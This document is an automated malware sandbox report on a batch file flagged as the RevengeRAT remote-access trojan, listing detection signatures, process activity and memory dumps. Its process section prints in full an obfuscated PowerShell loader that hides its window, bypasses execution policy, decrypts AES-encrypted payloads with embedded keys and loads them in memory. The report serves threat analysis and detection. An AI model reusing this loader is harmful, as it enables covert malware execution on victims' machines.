Analysis
- max time kernel
135s - max time network
103s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
07/05/2024, 23:31
General
- Target test1.bat
- Size 44KB
- Sample240507-3hxprsec3s
- SHA256 f0b4d94302acde2e40613f99ae3b9e5fa2096bf021afe8e60bdb0b8c0572fb19
Score
10/10
Malware Config
Extracted
Family
-
revengerat
Mutex
Signatures
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- RevengeRat Executable 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test1.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d+C99f/kblJ1ylkUvOm0cY96/UChzbblZXbe/aERn5Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mVyRWV/5m5oHB8wJnFk7lA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uxMJK=New-Object System.IO.MemoryStream(,$param_var); $TGpZc=New-Object System.IO.MemoryStream; $mXCVP=New-Object System.IO.Compression.GZipStream($uxMJK, [IO.Compression.CompressionMode]::Decompress); $mXCVP.CopyTo($TGpZc); $mXCVP.Dispose(); $uxMJK.Dispose(); $TGpZc.Dispose(); $TGpZc.ToArray();}function execute_function($param_var,$param2_var){ $XlzMy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lcfBh=$XlzMy.EntryPoint; $lcfBh.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\test1.bat';$UqGNW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\test1.bat').Split([Environment]::NewLine);foreach ($FbOVw in $UqGNW) { if ($FbOVw.StartsWith(':: ')) { $GmOmc=$FbOVw.Substring(3); break; }}$payloads_var=[string[]]$GmOmc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_0ncni4u3.b3i.ps1
memory/1664-0-0x00007FFAFE3C3000-0x00007FFAFE3C5000-memory.dmp
memory/1664-10-0x000002B6FFB30000-0x000002B6FFB52000-memory.dmp
memory/1664-11-0x00007FFAFE3C0000-0x00007FFAFEE81000-memory.dmp
memory/1664-12-0x00007FFAFE3C0000-0x00007FFAFEE81000-memory.dmp
memory/1664-14-0x000002B699FA0000-0x000002B699FAA000-memory.dmp
memory/1664-13-0x000002B699F90000-0x000002B699F98000-memory.dmp
memory/1664-15-0x000002B699FB0000-0x000002B699FB8000-memory.dmp
memory/1664-18-0x00007FFAFE3C0000-0x00007FFAFEE81000-memory.dmp